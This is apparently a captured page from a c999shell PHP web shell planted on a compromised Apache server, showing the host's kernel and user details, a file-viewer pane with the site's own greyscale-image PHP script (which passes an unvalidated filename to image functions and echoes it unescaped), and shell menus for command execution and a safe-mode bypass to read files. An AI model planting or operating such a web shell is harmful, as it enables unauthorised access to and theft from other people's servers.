Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/picture/ drwxr-xr-x |
Viewing file: Select action/file-type: <? if ($fn<>""){ $input=$fn; $outpu=""; $pGif = strpos($input,".gif"); if ($pGif===false){ }else{ $output = substr_replace($input, "grey", $pGif).substr($input, $pGif); } //rename imagename.jpg to imagenamegrey.jpg $pJpg = strpos($input,".jp"); if ($pJpg===false){ }else{ $output = substr_replace($input, "grey", $pJpg).substr($input, $pJpg); } createGreyFromGifJpg($input, $output); } function createGreyFromGifJpg($input, $output) { $fn = strtolower($input); $pGif = strpos($fn,".gif"); if ($pGif===false){ }else { $bild = imagecreatefromgif($input); } $pJpg = strpos($fn,".jp"); if ($pJpg===false){ }else { $bild = imagecreatefromjpeg($input); } $x = imagesx($bild); $y = imagesy($bild); for($i=0; $i<$y; $i++) { for($j=0; $j<$x; $j++) { $pos = imagecolorat($bild, $j, $i); $f = imagecolorsforindex($bild, $pos); $gst = $f["red"]*0.15 + $f["green"]*0.5 + $f["blue"]*0.35; $col = imagecolorresolve($bild, $gst, $gst, $gst); imagesetpixel($bild, $j, $i, $col); } } if ($pGif===false){ }else { imagegif($bild,$output,90); } if ($pJpg===false){ }else { imagejpeg($bild,$output,90); } } ?> <p align=center> <table align="center" height=100% width=100% border=5> <tr><td valign="middle" align="center"> <form action=convertgrey.php method="POST"> Filename <input type="text" name=fn size=50 value=<?=$fn?>><input type=submit> </td></tr> </form> </table> </p> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]-- |